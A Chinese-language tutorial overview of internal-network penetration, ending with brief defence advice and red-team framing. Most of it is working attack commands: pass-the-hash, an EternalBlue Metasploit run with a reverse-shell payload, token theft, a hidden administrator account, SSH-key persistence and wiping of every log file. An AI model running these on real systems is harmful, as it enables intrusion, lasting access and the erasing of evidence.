内网渗透技术概述

内网渗透是指攻击者通过某种手段进入目标组织的内部网络后，进一步横向移动、权限提升和数据窃取的过程。内网渗透通常分为信息收集、横向移动、权限维持和数据窃取等阶段。内网环境通常具有更高的安全防护，因此需要更高级的技术手段。

信息收集

信息收集是内网渗透的第一步，目的是获取内网拓扑、主机信息、服务端口等关键数据。常用的工具包括Nmap、Masscan和Netdiscover。通过ARP扫描可以快速发现内网存活主机：

arp-scan -l

利用SMB协议枚举共享资源：

smbclient -L //192.168.1.100 -N

通过LDAP查询获取域内用户和计算机信息：

ldapsearch -x -h 192.168.1.1 -b "dc=example,dc=com"

横向移动技术

横向移动是指攻击者在内网中从一台主机跳转到另一台主机的过程。常见方法包括Pass-the-Hash、Pass-the-Ticket和利用漏洞。

Pass-the-Hash利用NTLM哈希进行身份验证：

pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.1.100 cmd

利用MS17-010漏洞进行横向移动：

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

权限提升方法

权限提升是获取更高系统权限的过程。Windows系统常用的方法包括利用服务路径漏洞、令牌窃取和DLL劫持。

检查服务路径漏洞：

accesschk.exe -uwcqv "Authenticated Users" *

令牌窃取提升权限：

incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

Linux系统可通过SUID文件查找提权机会：

find / -perm -4000 -type f 2>/dev/null

权限维持技术

权限维持确保攻击者能持续访问目标系统。常见方法包括创建隐藏用户、计划任务和启动项。

Windows创建隐藏用户：

net user evil$ P@ssw0rd /add
net localgroup administrators evil$ /add

Linux添加SSH密钥维持访问：

echo "ssh-rsa AAAAB3Nza..." >> ~/.ssh/authorized_keys

数据窃取与清理

数据窃取阶段需要隐蔽地收集和传输敏感数据。可使用压缩加密传输：

tar czf - /var/www | openssl aes-256-cbc -salt -out data.tar.gz.enc

清理日志痕迹：

for log in $(ls /var/log/*.log); do echo "" > $log; done

防御建议

部署网络分段限制横向移动。启用日志审计和分析异常登录行为。定期更新系统和应用补丁。实施最小权限原则限制账户权限。部署终端检测与响应(EDR)解决方案。

内网渗透是复杂的过程，需要深入了解网络协议、系统漏洞和防御机制。安全团队应通过红队演练持续测试和加固内网安全。